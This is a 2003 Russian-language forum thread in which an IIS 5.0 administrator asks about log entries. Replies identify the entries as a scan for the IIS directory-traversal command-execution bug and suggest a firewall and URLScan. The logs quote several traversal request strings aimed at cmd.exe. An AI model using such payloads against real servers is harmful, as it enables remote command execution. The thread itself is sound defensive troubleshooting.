|
|
|
IIS 5.0
|
|||
|---|---|---|---|
|
#18+
Подскажите пожалста, что означают сие строки в лог файле веб сервера (IIS): 2003-03-04 04:24:46 ххх.ххх.ххх.ххх - ххх.ххх.ххх.ххх 80 HEAD /PBServer/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 - 2003-03-04 04:24:57 ххх.ххх.ххх.ххх - ххх.ххх.ххх.ххх 80 HEAD /Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ 404 - 2003-03-04 04:25:07 ххх.ххх.ххх.ххх - ххх.ххх.ххх.ххх 80 HEAD /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 - 2003-03-04 04:25:08 ххх.ххх.ххх.ххх - ххх.ххх.ххх.ххх 80 HEAD /_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe /c+dir+c:\ 404 - 2003-03-04 04:25:26 ххх.ххх.ххх.ххх - ххх.ххх.ххх.ххх 80 HEAD /winnt/system32/cmd.exe /c+dir+c:\ 404 - 2003-03-04 04:27:15 ххх.ххх.ххх.ххх - ххх.ххх.ххх.ххх 80 HEAD /scripts/.%2e/.%2e/winnt/system32/cmd.exe /c+dir+c:\ 500 - ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 05.03.2003, 03:13 |
|
||
|
IIS 5.0
|
|||
|---|---|---|---|
|
#18+
Может я ошибаюсь но в IIS был или есть если не пропатчен такой баг который позволял на сервере выполнять команды(удаленно) используя для этого любой браузер. Судя по твоим логам тебя кто-то сканил на эту уязвимость. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 05.03.2003, 03:48 |
|
||
|
IIS 5.0
|
|||
|---|---|---|---|
|
#18+
вот и у меня такое же чувство, судя по 404 не удалось, а что такое 500? ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 05.03.2003, 04:02 |
|
||
|
IIS 5.0
|
|||
|---|---|---|---|
|
#18+
Согласен с andreym999. 500 - внутренняя ошибка сервера - не смог он запустить cmd.exe. Кроме очевидной мысли поставить брандмауэр, попробуйте ещё скачать с сайта MS фичу URLScan (она бесплатная) - блокирует подобные запросы, до IIS такие запросы просто не дойдут. Если уже стоит ISA, к нему URLScan есть в Featured Pack1. Удачи! ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 05.03.2003, 11:40 |
|
||
|
|
start [/forum/topic.php?fid=26&msg=32114746&tid=1517533]: |
0ms |
get settings: |
10ms |
get forum list: |
14ms |
check forum access: |
4ms |
check topic access: |
4ms |
track hit: |
66ms |
get topic data: |
11ms |
get forum data: |
2ms |
get page messages: |
55ms |
get tp. blocked users: |
2ms |
| others: | 13ms |
| total: | 181ms |
| 0 / 0 |
